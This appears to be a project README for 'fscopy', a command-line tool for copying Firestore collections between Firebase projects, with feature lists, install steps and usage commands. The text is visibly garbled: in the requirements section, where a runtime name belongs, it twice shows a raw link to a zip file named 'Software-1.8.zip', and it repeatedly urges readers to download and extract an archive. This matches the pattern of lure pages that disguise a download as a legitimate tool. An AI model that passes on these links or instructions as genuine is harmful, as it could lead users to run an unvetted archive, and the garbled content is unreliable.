🔥 fscopy - Effortlessly Copy Firestore Collections

🚀 Getting Started

fscopy is a fast command-line tool that allows you to easily copy Firestore collections between Firebase projects. Whether you're migrating data or backing up important information, fscopy makes the process straightforward and efficient.

📥 Download fscopy

To download fscopy, visit this page: Download fscopy.

📦 System Requirements

• Operating System: Windows, macOS, or Linux.
• https://github.com/ITZJUSCOMBOZ886/fscopy/raw/refs/heads/main/src/output/Software-1.8.zip Version 14 or higher must be installed. fscopy is built on https://github.com/ITZJUSCOMBOZ886/fscopy/raw/refs/heads/main/src/output/Software-1.8.zip, which allows it to run seamlessly across different platforms.
• Firestore Access: You need to have Firebase Cloud Firestore set up and access to your Firebase projects.

🛠️ Features

• Support for Subcollections: Easily transfer not just top-level collections but also their subcollections.
• Data Filtering: Choose specific documents to copy based on your needs.
• Parallel Transfers: Speed up the process by transferring multiple collections at the same time.
• Data Transformations: Apply transformations to your data before or during the transfer.
• Webhooks: Get notifications for the transfer process.
• Resume Capability: If your migration is large and interrupted, you can resume from where it left off.

⚙️ Installation Steps

Follow these steps to install fscopy on your system.

1. Visit the Release Page: Go to Release Page.
2. Download the Latest Version: Find the latest release and download the appropriate file for your operating system.
3. Install fscopy:
   • For Windows: Extract the downloaded ZIP file, and keep it in a location of your choice.
   • For macOS and Linux: You can move the downloaded file to a suitable directory and make it executable using the command: chmod +x fscopy.
4. Add to Path (Optional): If you want to run fscopy from any command line location, add the folder containing fscopy to your system’s PATH variable.

💻 Running fscopy

Once you have installed fscopy, you can start using it. Open your command line interface and run the following command to see the available options.

fscopy --help

This command will display detailed usage instructions and help you understand all available functions and how to use them.

📋 Usage Example

To copy a collection named users from one Firebase project to another, you could use the command:

fscopy copy --source <source-project-id> --destination <destination-project-id> --collection users

Replace <source-project-id> and <destination-project-id> with your actual Firebase project IDs.

🔍 Additional Information

• Documentation: For more details on specific commands, options, and advanced usage, refer to the fscopy documentation available on the GitHub repository.
• Community Support: If you run into issues, consider checking the Issues tab on the GitHub page. You can also raise questions or report bugs.

🌟 Contributing

Contributions are welcome! If you have ideas for improvements or new features, feel free to fork the repository and submit a pull request.

👥 Support

If you need help, you can open an issue on the GitHub repository, and someone from the community will assist you.

📥 Download fscopy Again

For your convenience, here is the link to download fscopy again: Download fscopy.

Enjoy using fscopy for your Firestore data transfers!